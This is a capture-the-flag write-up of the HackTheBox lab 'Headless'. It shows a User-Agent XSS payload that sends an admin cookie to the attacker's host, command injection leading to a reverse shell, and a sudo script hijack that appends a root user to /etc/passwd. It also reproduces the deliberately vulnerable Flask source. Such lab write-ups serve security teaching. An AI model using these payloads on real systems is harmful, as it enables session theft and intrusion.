Summary

Headless is an easy Linux HTB box.

It has a support form on a webserver that logs HTTP headers when it detects an injection attempt, storing the incident to be reviewed later. Ironically, this lets us inject a Cross-Site Scripting (XSS) payload into the User-Agent HTTP Header, which gets triggered during the review process.

We can use this to steal an administrator session cookie, giving us access to a dashboard on the same webserver. This dashboard is vulnerable to command injection, allowing Remote Command Execution (RCE) as a low-privileged local user.

This local user has sudo privileges for a custom bash script. The script is poorly coded, enabling us to hijack the execution of a missing file called by the first script, leading to privilege escalation to root.

Writeup

Information Gathering

We start by running an Nmap TCP scan on all ports, revealing an SSH service and another service on a non-standard port.

┌──(user㉿kali)-[~]
└─$ sudo nmap -sS -T4 -v 10.10.11.8 -p- 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-15 12:35 WEST
<SNIP>
Host is up (0.045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Using netcat to interact with the mysterious service, we quickly find out it’s a web server.

┌──(user㉿kali)-[~]
└─$ nc 10.10.11.8 5000
test
<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 400</p>
        <p>Message: Bad request syntax ('test').</p>
        <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
    </body>
</html>

We then use WhatWeb to discover it’s a Python web server and it gives us a cookie called is_admin.

┌──(user㉿kali)-[~]
└─$ whatweb -v http://10.10.11.8:5000/                                   
WhatWeb report for http://10.10.11.8:5000/
Status    : 200 OK
Title     : Under Construction
IP        : 10.10.11.8
Country   : RESERVED, ZZ

Summary   : Cookies[is_admin], HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.11.2], Python[3.11.2], Script, Werkzeug[2.2.2]

Detected Plugins:
[ Cookies ]
        Display the names of cookies in the HTTP headers. The 
        values are not returned to save on space. 

        String       : is_admin

[ HTML5 ]
        HTML version 5, detected by the doctype declaration 


[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 

        String       : Werkzeug/2.2.2 Python/3.11.2 (from server string)

[ Python ]
        Python is a programming language that lets you work more 
        quickly and integrate your systems more effectively. You 
        can learn to use Python and see almost immediate gains in 
        productivity and lower maintenance costs. 

        Version      : 3.11.2
        Website     : http://www.python.org/

[ Script ]
        This plugin detects instances of script HTML elements and 
        returns the script language/type. 


[ Werkzeug ]
        Werkzeug is a WSGI utility library for Python. 

        Version      : 2.2.2
        Website     : http://werkzeug.pocoo.org/

HTTP Headers:
        HTTP/1.1 200 OK
        Server: Werkzeug/2.2.2 Python/3.11.2
        Date: Mon, 15 Jul 2024 11:38:30 GMT
        Content-Type: text/html; charset=utf-8
        Content-Length: 2799
        Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
        Connection: close

Checking it in our browser, we see a landing page for a work-in-progress site with a live countdown.

The site's landing page.

The site's landing page.

There’s a button that links to another page, but to be thorough, we fuzz for more pages using a wordlist.

┌──(user㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -H 'Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs' -u http://10.10.11.8:5000/FUZZ                                          

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.8:5000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

support                 [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 45ms]
dashboard               [Status: 401, Size: 317, Words: 38, Lines: 6, Duration: 42ms]

                        [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 44ms]
:: Progress: [87650/87650] :: Job [1/1] :: 475 req/sec :: Duration: [0:03:18] :: Errors: 0 ::

We discover a new page, dashboard, but we get a 401 status code, meaning unauthorized.

The site's dashboard page, with the user cookie.

The site's dashboard page, with the user cookie.

There are many ways to handle authorization to HTTP resources, and cookies are one of them. Notice I used FFUF with the cookie header set. Otherwise, the GET request returns a 500 error, meaning an internal server error. This suggests the cookie is relevant to the authorization process.

Looking at our cookie, it’s not quite a JWT format, but the first part is base64 for “user,” hinting at the existence of a similar cookie for an administrator.

┌──(user㉿kali)-[~]
└─$ echo 'InVzZXIi' | base64 -d                                                                                                                                 
"user"

Let’s finally move on to the other page, support. It seems to be a form to contact support staff.

The site's support page.

The site's support page.

This is perfect because if our reports are viewed by the staff on an HTML page, we might inject some JavaScript via Cross-Site Scripting (XSS) and steal their is_admin cookie, allowing us access to the dashboard.

Vulnerability #1 - Cross-Site Scripting

Using a web proxy, we start by seeing how the form behaves on a normal submission, and it seems like there’s no reflection back to us. That’s not great because it means we’ll have to do blind/out-of-band (OOT) XSS, which is more time-consuming.

No reflection.

No reflection.

We try injecting some common blind XSS payloads in the POST data fields but discover they have some injection prevention measures on the message field.

Hack attempt detected.

Hack attempt detected.

It looks like the server is scanning for HTML tags in the message field and treating them as an incident. It claims to flag our IP address and create a report with our “browser information” to be reviewed by administrators later.

This is actually great news for us. We were initially targeting support staff with blind XSS, but now we know that administrators will review the report. This is good because it’s the administrators’ cookies we want. Plus, the fact that our HTTP headers are reflected back to us means we might not have to rely on blind XSS after all.

We can try inserting a payload into an HTTP header that’s not crucial for the request to function properly, like User-Agent. If the incident reports are viewed on a page served by this same web server and the HTTP headers are not properly sanitized, we should get a hit.

We try the following payload, which attempts to get a resource from a web server on our attacking machine with the URL parameter cookie being the cookies stored on the victim’s web browser:

<script>var i = new Image();i.src="http://MY_IP/?cookie="+document.cookie;</script>
User-Agent XSS.

User-Agent XSS.

After a while, we get a hit! The victim tries to reach a non-existent resource, but the point is, we get their cookies in the URL parameter.

┌──(user㉿kali)-[~]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [15/Jul/2024 13:59:34] "GET /?cookie=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -

Base64 decoding the first portion of this cookie, we see that it says “admin”.

┌──(user㉿kali)-[~]
└─$ echo 'ImFkbWluIg' | base64 -d                                                                                                                                 
"admin"

Editing the cookies on our browser to this new one, we get access to the dashboard page.

Access to `dashboard`.

Access to `dashboard`.

Vulnerability #2 - Command Injection

The dashboard has a feature for generating reports for a given date.

Generating a report.

Generating a report.

To see if we can exploit this feature, let’s think about how it may work behind the scenes.

The feature likely requires interaction with a database or the file system to get the data for a specific date and generate the report. This means our input, the date, might be inserted into a SQL query, a shell command, or something else. If it’s not properly sanitized, we might be able to perform some injection attacks.

Let’s work with the assumption our date input is being used in a Bash command. There are many ways to check for command injection vulnerabilities, especially by using special characters to end the current command and add a new one.

The first thing one can try is to simply append a ; to the end of the input, which will terminate the current command and allow for the execution of a new command that will come afterwards, according to Bash syntax.

We intercept the request with a web proxy and change the date field to include an injected command, like id:

date=2023-09-15;id
Command injection.

Command injection.

It worked, and we got Remote Command Execution (RCE) as the local user dvir.

Next, we can upgrade to a reverse shell using a payload from the Reverse Shell Generator, such as Python3 Shortest.

Command injection.

Command injection.

┌──(user㉿kali)-[~]
└─$ sudo logshell rlwrap nc -lnvp 4444
[sudo] password for user: 
listening on [any] 4444 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.11.8] 53006
dvir@headless:~/app$ ls ~/user.txt 
user.txt

Privilege Escalation

The dvir user is low-privileged, so let’s see how we can escalate our privileges to root.

Checking the sudo rights for dvir, we find that it can run /usr/bin/syscheck as root without needing a password (which we don’t have at the moment).

dvir@headless:~/app$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

We don’t see /usr/bin/syscheck listed on GTFOBins, so we need to take a closer look at it for potential vulnerabilities. Upon inspecting it, we see it’s a custom Bash script that checks some system information.

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

The script doesn’t take any input from us, so we can’t exploit it directly that way.

What’s important here is that the script checks for a process running a file named initdb.sh. If it doesn’t find such a process, it will execute initdb.sh from the current directory of the shell.

This means we can create an initdb.sh file with a payload, cd into that directory, and then run syscheck with sudo. This will trigger our payload as root.

Instead of juggling multiple shell listeners, we’ll add a new line to /etc/passwd to create a new root user.

On our attacking machine, we use the openssl utility to generate a hash for the new root user’s password. I’ll use the password BRM_Rocks.

┌──(user㉿kali)-[~]
└─$ openssl passwd BRM_Rocks 
$1$wKe1xQM.$AL6LkX8vu0tN.FJi0X/ZO/

Our goal is to add this line to /etc/passwd, which will let us su to the new root user with the password we set.

r00t:$1$wKe1xQM.$AL6LkX8vu0tN.FJi0X/ZO/:0:0:root:/root:/bin/bash

To avoid problematic variable substitutions, since the password hash contains the $ symbol which denotes environment variables in Bash, we’ll base64 encode this line and decode it when appending it to /etc/passwd.

We’ll create an executable initdb.sh file with the following content:

#!/bin/bash
echo <BASE64-LINE> | base64 -d  >> /etc/passwd
echo "It worked :)" # Just to show this script was executed.

Since we don’t have a stable shell, we’ll create the file one line at a time:

dvir@headless:/tmp$ echo '#!/bin/bash' > initdb.sh
dvir@headless:/tmp$ echo 'echo cjAwdDokMSR3S2UxeFFNLiRBTDZMa1g4dnUwdE4uRkppMFgvWk8vOjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA== | base64 -d  >> /etc/passwd' >> initdb.sh
dvir@headless:/tmp$ echo 'echo "It worked :)"' >> initdb.sh
dvir@headless:/tmp$ chmod a+x initdb.sh

When we run syscheck with sudo, our payload executes.

dvir@headless:/tmp$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.8G
System load average:  0.24, 0.28, 0.21
Database service is not running. Starting it...
It worked :)

Now we just need to switch to our new root user and grab the final flag.

dvir@headless:/tmp$ su r00t
Password: BRM_Rocks
root@headless:/tmp# ls /root
root.txt

Vulnerabilities Explanation

In the dvir home directory, we find the source code for the web application. Let’s take a look at it to understand the two web vulnerabilities we exploited to get a foothold.

from flask import Flask, render_template, request, make_response, abort, send_file
from itsdangerous import URLSafeSerializer
import os
import random

app = Flask(__name__, template_folder=".")


app.secret_key = b'PcBE2u6tBomJmDMwUbRzO18I07A'
serializer = URLSafeSerializer(app.secret_key)

hacking_reports_dir = '/home/dvir/app/hacking_reports'
os.makedirs(hacking_reports_dir, exist_ok=True)

@app.route('/')
def index():
    client_ip = request.remote_addr
    is_admin = True if client_ip in ['127.0.0.1', '::1'] else False
    token = "admin" if is_admin else "user"
    serialized_value = serializer.dumps(token)

    response = make_response(render_template('index.html', is_admin=token))
    response.set_cookie('is_admin', serialized_value, httponly=False)

    return response

@app.route('/dashboard', methods=['GET', 'POST'])
def admin():
    if serializer.loads(request.cookies.get('is_admin')) == "user":
        return abort(401)

    script_output = ""

    if request.method == 'POST':
        date = request.form.get('date')
        if date:
            script_output = os.popen(f'bash report.sh {date}').read()

    return render_template('dashboard.html', script_output=script_output)

@app.route('/support', methods=['GET', 'POST'])
def support():
    if request.method == 'POST':
        message = request.form.get('message')
        if ("<" in message and ">" in message) or ("{{" in message and "}}" in message):
            request_info = {
                "Method": request.method,
                "URL": request.url,
                "Headers": format_request_info(dict(request.headers)),
            }

            formatted_request_info = format_request_info(request_info)
            html = render_template('hackattempt.html', request_info=formatted_request_info)

            filename = f'{random.randint(1, 99999999999999999999999)}.html'
            with open(os.path.join(hacking_reports_dir, filename), 'w', encoding='utf-8') as html_file:
                html_file.write(html)

            return html

    return render_template('support.html')

@app.route('/hacking_reports/<int:report_number>')
def hacking_reports(report_number):
    report_file = os.path.join(hacking_reports_dir, f'{report_number}.html')

    if os.path.exists(report_file):
        return send_file(report_file)
    else:
        return "Report not found", 404

def format_request_info(info):
    formatted_info = ''
    for key, value in info.items():
        formatted_info += f"<strong>{key}:</strong> {value}<br>"
    return formatted_info

def format_form_data(form_data):
    formatted_data = {}
    for key, value in form_data.items():
        formatted_data[key] = value
    return formatted_data

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000)

On the dashboard page, we see that it checks the is_admin cookie. If the cookie is set to user, the page returns a 401 error.

For the report generation POST request, the code runs the Bash script report.sh with the date URL parameter as an argument and returns the output. There’s no input sanitization, which is why we could inject commands.

Our date=2023-09-15;id payload ended up running as bash report.sh 2023-09-15;id.

Finally, on the support page, the code checks for <> (used in HTML tags) and {} (used by the Jinja2 template engine) to create a report for HTML hacking attempts. This effectively prevents XSS and Server-side Template Injection (SSTI) in that field.